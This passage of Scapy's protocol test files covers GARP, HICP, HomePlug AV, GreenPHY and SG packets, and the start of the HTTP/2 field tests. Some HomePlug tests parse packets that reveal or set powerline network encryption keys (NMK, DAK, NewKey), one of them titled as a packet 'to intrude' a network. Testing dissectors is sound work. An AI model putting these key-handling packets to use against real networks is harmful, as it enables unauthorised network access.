GARP_ATTRIBUTE(event='LeaveAll') assert pkt.event == 0 assert GARP_ATTRIBUTE(pkt.build()).len == 2 assert len(pkt.build()) == 2 pkt = GARP_ATTRIBUTE(event='JoinEmpty')/GVRP() assert pkt.event == 1 assert GARP_ATTRIBUTE(pkt.build()).len == 4 assert len(pkt.build()) == 4 pkt = GARP_ATTRIBUTE(event='JoinIn')/GVRP() assert pkt.event == 2 assert GARP_ATTRIBUTE(pkt.build()).len == 4 assert len(pkt.build()) == 4 pkt = GARP_ATTRIBUTE(event='LeaveEmpty')/GVRP() assert pkt.event == 3 assert GARP_ATTRIBUTE(pkt.build()).len == 4 assert len(pkt.build()) == 4 pkt = GARP_ATTRIBUTE(event='LeaveIn')/GVRP() assert pkt.event == 4 assert GARP_ATTRIBUTE(pkt.build()).len == 4 assert len(pkt.build()) == 4 pkt = GARP_ATTRIBUTE(event='Empty')/GVRP() assert pkt.event == 5 assert GARP_ATTRIBUTE(pkt.build()).len == 4 assert len(pkt.build()) == 4 pkt = GARP_ATTRIBUTE(event='JoinEmpty')/GVRP() del pkt.payload assert pkt == GARP_ATTRIBUTE(event='JoinEmpty') assert GARP_ATTRIBUTE(raw(pkt)) == GARP_ATTRIBUTE(raw(GARP_ATTRIBUTE(event='JoinEmpty'))) assert len(pkt.build()) == 2 = GVRP Stacking test pkt = Dot3(dst="01:80:c2:00:00:21")/LLC_GARP(dsap=0x42, ssap=0x42, ctrl=3)/GARP( msgs=[GARP_MESSAGE(attrs=[GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=1), GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=2)]), GARP_MESSAGE(attrs=[GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=3), GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=4)])]) assert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 1)[GVRP].vlan == 1 assert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 2)[GVRP].vlan == 2 assert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 1)[GVRP].vlan == 3 assert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 2)[GVRP].vlan == 4 pkt = Dot3(pkt.build()) assert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 1)[GVRP].vlan == 1 assert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 2)[GVRP].vlan == 2 assert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 1)[GVRP].vlan == 3 assert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 2)[GVRP].vlan == 4 = GMRP Stacking test pkt = Dot3(dst="01:80:c2:00:00:20")/LLC_GARP(dsap=0x42, ssap=0x42, ctrl=3)/GARP( msgs=[GARP_MESSAGE(type = 1, attrs=[GARP_ATTRIBUTE(event='JoinIn')/GMRP_GROUP(addr="00:00:00:00:00:01"), GARP_ATTRIBUTE(event='JoinIn')/GMRP_GROUP(addr="00:00:00:00:00:02")]), GARP_MESSAGE(type = 2, attrs=[GARP_ATTRIBUTE(event='JoinIn')/GMRP_SERVICE(event="All Groups"), GARP_ATTRIBUTE(event='JoinIn')/GMRP_SERVICE(event="All Unregistered Groups")])]) assert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 1)[GMRP_GROUP].addr == "00:00:00:00:00:01" assert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 2)[GMRP_GROUP].addr == "00:00:00:00:00:02" assert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 1)[GMRP_SERVICE].event == 0 assert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 2)[GMRP_SERVICE].event == 1 pkt = Dot3(pkt.build()) assert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 1)[GMRP_GROUP].addr == "00:00:00:00:00:01" assert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 2)[GMRP_GROUP].addr == "00:00:00:00:00:02" assert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 1)[GMRP_SERVICE].event == 0 assert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 2)[GMRP_SERVICE].event == 1 = GARP from pcap pkts = rdpcap(scapy_path("test/pcaps/gvrp.pcapng.gz")) for p in pkts: if len(p[GARP_ATTRIBUTE].payload) > 0: assert p[GVRP] is not None = GARP tshark check ~ tshark import tempfile, os pkt = Dot3(dst="01:80:c2:00:00:21")/LLC_GARP(dsap=0x42, ssap=0x42, ctrl=3)/GARP( msgs=[GARP_MESSAGE(attrs=[GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=1), GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=2)]), GARP_MESSAGE(attrs=[GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=3), GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=4)])]) fd, pcapfilename = tempfile.mkstemp() wrpcap(pcapfilename, pkt) rv = tcpdump(pcapfilename, prog=conf.prog.tshark, getfd=True, args=['-Y', 'gvrp'], dump=True, wait=True) assert rv != b"" os.close(fd) os.unlink(pcapfilename) = GARP tshark check ~ tshark import tempfile, os pkt = Dot3(dst="01:80:c2:00:00:20")/LLC_GARP(dsap=0x42, ssap=0x42, ctrl=3)/GARP( msgs=[GARP_MESSAGE(type = 1, attrs=[GARP_ATTRIBUTE(event='JoinIn')/GMRP_GROUP(addr="00:00:00:00:00:01"), GARP_ATTRIBUTE(event='JoinIn')/GMRP_GROUP(addr="00:00:00:00:00:02")]), GARP_MESSAGE(type = 2, attrs=[GARP_ATTRIBUTE(event='JoinIn')/GMRP_SERVICE(event="All Groups"), GARP_ATTRIBUTE(event='JoinIn')/GMRP_SERVICE(event="All Unregistered Groups")])]) fd, pcapfilename = tempfile.mkstemp() wrpcap(pcapfilename, pkt) rv = tcpdump(pcapfilename, prog=conf.prog.tshark, getfd=True, args=['-Y', 'gmrp'], dump=True, wait=True) assert rv != b"" os.close(fd) os.unlink(pcapfilename) ================================================ FILE: test/contrib/hicp.uts ================================================ % HICP test campaign # # execute test: # > test/run_tests -t test/contrib/hicp.uts # + Syntax check = Import the HICP layer from scapy.contrib.hicp import * + HICP Module scan request = Build and dissect module scan pkt = HICPModuleScan() assert(pkt.hicp_command == b"Module scan") assert(raw(pkt) == b"MODULE SCAN\x00") pkt = HICP(b"Module scan\x00") assert(pkt.hicp_command == b"Module scan") + HICP Module scan response = Build and dissect device description pkt=HICPModuleScanResponse(fieldbus_type="kwack") assert(pkt.protocol_version == b"1.00") assert(pkt.fieldbus_type == b"kwack") assert(pkt.mac_address == "ff:ff:ff:ff:ff:ff") pkt=HICP( b"\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e" \ b"\x20\x3d\x20\x31\x2e\x30\x30\x3b\x46\x42\x20\x74\x79\x70\x65\x20" \ b"\x3d\x20\x3b\x4d\x6f\x64\x75\x6c\x65\x20\x76\x65\x72\x73\x69\x6f" \ b"\x6e\x20\x3d\x20\x3b\x4d\x41\x43\x20\x3d\x20\x65\x65\x3a\x65\x65" \ b"\x3a\x65\x65\x3a\x65\x65\x3a\x65\x65\x3a\x65\x65\x3b\x49\x50\x20" \ b"\x3d\x20\x32\x35\x35\x2e\x32\x35\x35\x2e\x32\x35\x35\x2e\x32\x35" \ b"\x35\x3b\x53\x4e\x20\x3d\x20\x32\x35\x35\x2e\x32\x35\x35\x2e\x32" \ b"\x35\x35\x2e\x30\x3b\x47\x57\x20\x3d\x20\x30\x2e\x30\x2e\x30\x2e" \ b"\x30\x3b\x44\x48\x43\x50\x20\x3d\x20\x4f\x46\x46\x3b\x48\x4e\x20" \ b"\x3d\x20\x3b\x44\x4e\x53\x31\x20\x3d\x20\x30\x2e\x30\x2e\x30\x2e" \ b"\x30\x3b\x44\x4e\x53\x32\x20\x3d\x20\x30\x2e\x30\x2e\x30\x2e\x30" \ b"\x3b\x00" ) assert(pkt.hicp_command == b"Module scan response") assert(pkt.protocol_version == b"1.00") assert(pkt.mac_address == "ee:ee:ee:ee:ee:ee") assert(pkt.subnet_mask == "255.255.255.0") pkt=HICP(b"Protocol version = 2; FB type = TEST;Module version = 1.0.0;MAC = cc:cc:cc:cc:cc:cc;IP = 192.168.1.1;SN = 255.255.255.0;GW = 192.168.1.254;DHCP=ON;HN = bonjour;DNS1 = 1.1.1.1;DNS2 = 2.2.2.2") assert(pkt.hicp_command == b"Module scan response") assert(pkt.protocol_version == b"2") assert(pkt.fieldbus_type == b"TEST") assert(pkt.module_version == b"1.0.0") assert(pkt.mac_address == "cc:cc:cc:cc:cc:cc") assert(pkt.ip_address == "192.168.1.1") assert(pkt.subnet_mask == "255.255.255.0") assert(pkt.gateway_address == "192.168.1.254") assert(pkt.dhcp == b"ON") assert(pkt.hostname == b"bonjour") assert(pkt.dns1 == "1.1.1.1") assert(pkt.dns2 == "2.2.2.2") + HICP Wink request = Build and dissect Winks pkt = HICPWink(target="dd:dd:dd:dd:dd:dd") assert(pkt.target == "dd:dd:dd:dd:dd:dd") pkt = HICP(b"To: bb:bb:bb:bb:bb:bb;WINK;\x00") assert(pkt.target == "bb:bb:bb:bb:bb:bb") + HICP Configure request = Build and dissect new network settings pkt = HICPConfigure(target="aa:aa:aa:aa:aa:aa", hostname="llama") assert(pkt.target == "aa:aa:aa:aa:aa:aa") assert(pkt.ip_address == "255.255.255.255") assert(pkt.hostname == b"llama") assert(raw(pkt) == b"Configure: aa-aa-aa-aa-aa-aa;IP = 255.255.255.255;SN = 255.255.255.0;GW = 0.0.0.0;DHCP = OFF;HN = llama;DNS1 = 0.0.0.0;DNS2 = 0.0.0.0;\x00") pkt = HICP(b"Configure: aa-aa-aa-aa-aa-aa;IP = 255.255.255.255;SN = 255.255.255.0;GW = 0.0.0.0;DHCP = OFF;HN = llama;DNS1 = 0.0.0.0;DNS2 = 0.0.0.0;\x00") assert(pkt.hicp_command == b"Configure") assert(pkt.target == "aa:aa:aa:aa:aa:aa") assert(pkt.ip_address == "255.255.255.255") assert(pkt.hostname == b"llama") + HICP Configure response = Build and dissect successful response to configure request pkt = HICPReconfigured(source="11:00:00:00:00:00") assert(pkt.source == "11:00:00:00:00:00") assert(raw(pkt) == b"Reconfigured: 11-00-00-00-00-00\x00") pkt = HICP(b"\x52\x65\x63\x6f\x6e\x66\x69\x67\x75\x72\x65\x64\x3a\x20\x31\x31" \ b"\x2d\x30\x30\x2d\x30\x30\x2d\x30\x30\x2d\x30\x30\x2d\x30\x30\x00") assert(pkt.hicp_command == b"Reconfigured") assert(pkt.source == "11:00:00:00:00:00") + HICP Configure error = Build and dissect error response to configure request pkt = HICPInvalidConfiguration(source="00:11:00:00:00:00") assert(pkt.source == "00:11:00:00:00:00") assert(raw(pkt) == b"Invalid Configuration: 00-11-00-00-00-00\x00") pkt = HICP( b"\x49\x6e\x76\x61\x6c\x69\x64\x20\x43\x6f\x6e\x66\x69\x67\x75\x72" \ b"\x61\x74\x69\x6f\x6e\x3a\x20\x30\x30\x2d\x31\x31\x2d\x30\x30\x2d" \ b"\x30\x30\x2d\x30\x30\x2d\x30\x30\x00" ) assert(pkt.hicp_command == b"Invalid Configuration") assert(pkt.source == "00:11:00:00:00:00") + HICP Configure invalid password = Build and dissect invalid password response to configure request pkt = HICPInvalidPassword(source="00:00:11:00:00:00") assert(pkt.source == "00:00:11:00:00:00") assert(raw(pkt) == b"Invalid Password: 00-00-11-00-00-00\x00") pkt = HICP(b"\x49\x6e\x76\x61\x6c\x69" \ b"\x64\x20\x50\x61\x73\x73\x77\x6f\x72\x64\x3a\x20\x30\x30\x2d\x30" \ b"\x30\x2d\x31\x31\x2d\x30\x30\x2d\x30\x30\x2d\x30\x30\x00") assert(pkt.hicp_command == b"Invalid Password") assert(pkt.source == "00:00:11:00:00:00") ================================================ FILE: test/contrib/homeplugav.uts ================================================ % Regression tests for Scapy +Syntax check = Import the homeplugav layer from scapy.contrib.homeplugav import * #from scapy.all import # HomePlugAV ############ ############ + Basic tests * Those test are here mainly to check nothing has been broken = Building packets packet ~ basic HomePlugAV GetDeviceVersion StartMACRequest StartMACConfirmation ResetDeviceRequest ResetDeviceConfirmation NetworkInformationRequest ReadMACMemoryRequest ReadMACMemoryConfirmation ReadModuleDataRequest ReadModuleDataConfirmation WriteModuleDataRequest WriteModuleData2NVMRequest WriteModuleData2NVMConfirmation NetworkInfoConfirmationV10 NetworkInfoConfirmationV11 NetworkInfoV10 NetworkInfoV11 HostActionRequired LoopbackRequest LoopbackConfirmation SetEncryptionKeyRequest SetEncryptionKeyConfirmation ReadConfBlockRequest ReadConfBlockConfirmation QUAResetFactoryConfirm GetNVMParametersRequest GetNVMParametersConfirmation SnifferRequest SnifferConfirmation SnifferIndicate HomePlugAV() HomePlugAV()/GetDeviceVersion() HomePlugAV()/StartMACRequest() HomePlugAV()/StartMACConfirmation() HomePlugAV()/ResetDeviceRequest() HomePlugAV()/ResetDeviceConfirmation() HomePlugAV()/NetworkInformationRequest() HomePlugAV()/ReadMACMemoryRequest() HomePlugAV()/ReadMACMemoryConfirmation() HomePlugAV()/ReadModuleDataRequest() HomePlugAV()/ReadModuleDataConfirmation() HomePlugAV()/WriteModuleDataRequest() HomePlugAV()/WriteModuleData2NVMRequest() HomePlugAV()/WriteModuleData2NVMConfirmation() HomePlugAV()/NetworkInfoConfirmationV10() HomePlugAV()/NetworkInfoConfirmationV11() HomePlugAV()/NetworkInfoConfirmationV10()/NetworkInfoV10() HomePlugAV()/NetworkInfoConfirmationV11()/NetworkInfoV11() HomePlugAV()/HostActionRequired() HomePlugAV()/LoopbackRequest() HomePlugAV()/LoopbackConfirmation() HomePlugAV()/SetEncryptionKeyRequest() HomePlugAV()/SetEncryptionKeyConfirmation() HomePlugAV()/ReadConfBlockRequest() HomePlugAV()/ReadConfBlockConfirmation() HomePlugAV()/QUAResetFactoryConfirm() HomePlugAV()/GetNVMParametersRequest() HomePlugAV()/GetNVMParametersConfirmation() HomePlugAV()/SnifferRequest() HomePlugAV()/SnifferConfirmation() HomePlugAV()/SnifferIndicate() = Some important manipulations ~ field pkt = HomePlugAV()/SetEncryptionKeyRequest() pkt.NMK = "A" * 16 pkt.DAK = "B" * 16 assert raw(pkt) == b'\x00P\xa0\x00\xb0R\x00AAAAAAAAAAAAAAAA\x00\xff\xff\xff\xff\xff\xffBBBBBBBBBBBBBBBB' pkt = HomePlugAV()/ReadMACMemoryRequest() pkt.Address = 0x31337 pkt.Length = 0x666 assert raw(pkt) == b'\x00\x08\xa0\x00\xb0R7\x13\x03\x00f\x06\x00\x00' pkt = HomePlugAV()/ReadModuleDataRequest() pkt.Length = 0x666 pkt.Offset = 0x1337 assert raw(pkt) == b'\x00$\xa0\x00\xb0R\x02\x00f\x067\x13\x00\x00' pkt = HomePlugAV()/SnifferRequest() pkt.SnifferControl = 0x1 assert raw(pkt) == b"\x004\xa0\x00\xb0R\x01" = Some important fields parsing ~ field _xstr = b"\x00%\xa0\x00\xb0R\x00\x00\x00\x00\x02\x00\x00\x04\x00\x00\x00\x00`\x8d\x05\xf9\x04\x01\x00\x00\x88)\x00\x00\x87`[\x14\x00$\xd4okm\x1f\xedHu\x85\x16>\x86\x1aKM\xd2\xe91\xfc6\x00\x00603506A112119017\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00z]\xa9\xe2]\xedR\x8b\x85\\\xdf\xe8~\xe9\xb2\x14637000A112139290\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FREEPLUG_LC_6400_4-1_1.0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbb\xcb\x0e\x10 \xad\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00`\xe5\x16\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x03\x02\x80\x84\x1e\x00\x80\x84\x1e\x00\xe0\x93\x04\x00\xe0\x93\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" pkt = HomePlugAV(_xstr) assert ReadModuleDataConfirmation in pkt assert pkt[ReadModuleDataConfirmation].ModuleID == 2 assert pkt[ReadModuleDataConfirmation].checksum == 4177890656 assert pkt[ReadModuleDataConfirmation].DataLen == 1024 assert pkt[ReadModuleDataConfirmation].Offset == 0 p = ModulePIB(pkt.ModuleData, pkt.Offset, pkt.DataLen) assert p.NMK == b"z]\xa9\xe2]\xedR\x8b\x85\\\xdf\xe8~\xe9\xb2\x14" assert p.DAK == b"\x1f\xedHu\x85\x16>\x86\x1aKM\xd2\xe91\xfc6" #= Discovery packet tests in local #~ netaccess HomePlugAV NetworkInfoConfirmationV10 NetworkInfoConfirmationV11 #pkt = Ether()/HomePlugAV() #old_debug_dissector = conf.debug_dissector #conf.debug_dissector = False #a = srp1(pkt, iface="eth0") #conf.debug_dissector = old_debug_dissector #a #pkt.version = a.version #pkt /= NetworkInformationRequest() #old_debug_dissector = conf.debug_dissector #conf.debug_dissector = False #a = srp1(pkt, iface="eth0") #conf.debug_dissector = old_debug_dissector #NetworkInfoConfirmationV10 in a or NetworkInfoConfirmationV11 in a #_ == True #= Reading local 0x400st octets of Software Image in Module Data blocks #~ netaccess HomePlugAV ReadModuleDataRequest #pkt = Ether()/HomePlugAV()/ReadModuleDataRequest(ModuleID=0x1) #old_debug_dissector = conf.debug_dissector #conf.debug_dissector = False #a = srp1(pkt, iface="eth0") #conf.debug_dissector = old_debug_dissector #a #len(a.ModuleData) == pkt.Length #_ == True = Testing length and checksum on a generated Write Module Data Request string = b"goodchoucroute\x00\x00" pkt = WriteModuleDataRequest(ModuleData=string) pkt = WriteModuleDataRequest(pkt.build()) pkt.show() a = pkt.checksum == chksum32(pkt.ModuleData) b = pkt.DataLen == len(pkt.ModuleData) a, b assert a and b ================================================ FILE: test/contrib/homepluggp.uts ================================================ % Regression tests for Scapy +Syntax check = Import the homeplugg layer from scapy.contrib.homepluggp import * import binascii #from scapy.all import # HomePlugGP ############ ############ + Basic tests * Those test are here mainly to check nothing has been broken = Most important packet to intrude a HPGP network ~ field _xstr = binascii.unhexlify("0108600000010000000000000000040000000227cfe35f01e50a01c8a074ad04537cb54b88b62d49b35b51000000c1f2") pkt = HomePlugAV(_xstr) assert pkt.NewKey == b'\xc8\xa0t\xad\x04S|\xb5K\x88\xb6-I\xb3[Q' assert pkt.NetworkID == b"'\xcf\xe3_\x01\xe5\n" = Some other important parsing tests ~ field _xstr = b'\x01\x08`\x00\x00\x01\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x04\x00\x00\x00\x00\x96F`Y\xbf\xf8\x05\x0164\xc5\xdf.nO}r\x05\xf5\x8d9)S\xc0\x00\x00\x00' pkt = HomePlugAV(_xstr) assert pkt.MyNonce == 0xaaaaaaaa assert pkt.YourNonce == 0x0 assert pkt.PID == 4 assert pkt.NetworkID == b'\x96F`Y\xbf\xf8\x05' assert pkt.NewKey == b'64\xc5\xdf.nO}r\x05\xf5\x8d9)S\xc0' _xstr = b'\x01e`\x00\x00\xff\xff\xff\xff\xff\xff\n\x06\x01\xbc\xf2\xaf\xf1\x00\x04\x00\x00=\x83\xfb\xe2\xbb\x0b\xb8\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' pkt = HomePlugAV(_xstr) assert pkt.MSoundTargetMAC == 'ff:ff:ff:ff:ff:ff' assert pkt.NumberMSounds == 10 assert pkt.TimeOut == 6 assert pkt.ResponseType == 1 assert pkt.ForwardingSTA == 'bc:f2:af:f1:00:04' assert pkt.SecurityType == 0 assert pkt.RunID == b'=\x83\xfb\xe2\xbb\x0b\xb8\x8a' _xstr = b'\x01n`\x00\x00\x00\x00\xbc\xf2\xaf\xf1\x00\x04=\x83\xfb\xe2\xbb\x0b\xb8\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n:!\t\t\n\x06\x06\x0e\x07\x07\t\t\n\n\x0b\x0b\x0b\x0b\x0c\r\x0e\x0e\x0e\x0f\x0f\x0f\x0f\x11\x11\x11\x12\x12\x12\x12\x12\x13\x12\x12\x11\x11\x11\x10\x12\x12\x12\x11\x10\x0f\x0f\x10\x14\x12\x10\x10\x11\x12\x14\x16;' pkt = HomePlugAV(_xstr) assert len(pkt.Groups) == pkt.NumberOfGroups assert pkt.NumberOfSounds == 10 _xstr = b'\x01v`\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\t\xe8jdY,w\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' pkt = HomePlugAV(_xstr) assert pkt.SenderID == b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' = Some important manipulations ~ field pkt = HomePlugAV(version=0x01)/CM_MNBC_SOUND_IND() pkt.RandomValue="AAAAAAAAAA" assert raw(pkt) == b'\x01v`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAAAAAAAA\x00\x00\x00\x00\x00\x00' pkt = HomePlugAV()/CM_SET_KEY_REQ(YourNonce=0xaaaa, NewKey="b" * 16) assert raw(pkt) == b'\x00\x08`\x00\xb0R\x00\x00\x00\x00\x00\x00\x00\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00bbbbbbbbbbbbbbbb' ================================================ FILE: test/contrib/homeplugsg.uts ================================================ % Regression tests for Scapy +Syntax check = Import the homepluggq layer from scapy.contrib.homeplugsg import * import binascii #from scapy.all import # HomePlugSG ############ ############ + Basic tests * Those test are here mainly to check nothing has been broken = Some important manipulations ~ field pkt=HomePlugAV(version=0x01)/VS_UART_CMD_REQ() pkt.UData = "AT+LOG?" assert raw(pkt) == b'\x01\x00\xa4\x00\x00\x00\x01AT+LOG?' ================================================ FILE: test/contrib/http2.uts ================================================ % HTTP/2 Campaign # Frames expressed as binary str were generated using the solicit and hpack-rs # Rust crates (https://github.com/mlalic/solicit, https://github.com/mlalic/hpack-rs) # except Continuation Frames, Priority Frames and Push Promise Frames that we generated # using Go x/net/http2 and x/net/http2/hpack modules. + Syntax check = Configuring Scapy ~ http2 frame hpack build dissect data headers priority settings rststream pushpromise ping goaway winupdate continuation hpackhdrtable helpers import scapy.config scapy.config.conf.debug_dissector=True import scapy.packet import scapy.fields import scapy.contrib.http2 as h2 import re flags_bit_pattern = re.compile(r'''^\s+flags\s+=\s+\[.*['"]bit [0-9]+['"].*\]$''', re.M) def expect_exception(e, c): try: eval(c) return False except e: return True + HTTP/2 UVarIntField Test Suite = HTTP/2 UVarIntField.any2i ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 5) expect_exception(AssertionError, 'f.any2i(None, None)') assert f.any2i(None, 0) == 0 assert f.any2i(None, 3) == 3 assert f.any2i(None, 1<<5) == 1<<5 assert f.any2i(None, 1<<16) == 1<<16 f = h2.UVarIntField('value', 0, 8) assert f.any2i(None, b'\x1E') == 30 = HTTP/2 UVarIntField.m2i on full byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 8) assert f.m2i(None, b'\x00') == 0 assert f.m2i(None, b'\x03') == 3 assert f.m2i(None, b'\xFE') == 254 assert f.m2i(None, b'\xFF\x00') == 255 assert f.m2i(None, b'\xFF\xFF\x03') == 766 #0xFF + (0xFF ^ 0x80) + (3<<7 = HTTP/2 UVarIntField.m2i on partial byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 5) assert f.m2i(None, (b'\x00', 3)) == 0 assert f.m2i(None, (b'\x03', 3)) == 3 assert f.m2i(None, (b'\x1e', 3)) == 30 assert f.m2i(None, (b'\x1f\x00', 3)) == 31 assert f.m2i(None, (b'\x1f\xe1\xff\x03', 3)) == 65536 = HTTP/2 UVarIntField.getfield on full byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 8) r = f.getfield(None, b'\x00\x00') assert r[0] == b'\x00' assert r[1] == 0 r = f.getfield(None, b'\x03\x00') assert r[0] == b'\x00' assert r[1] == 3 r = f.getfield(None, 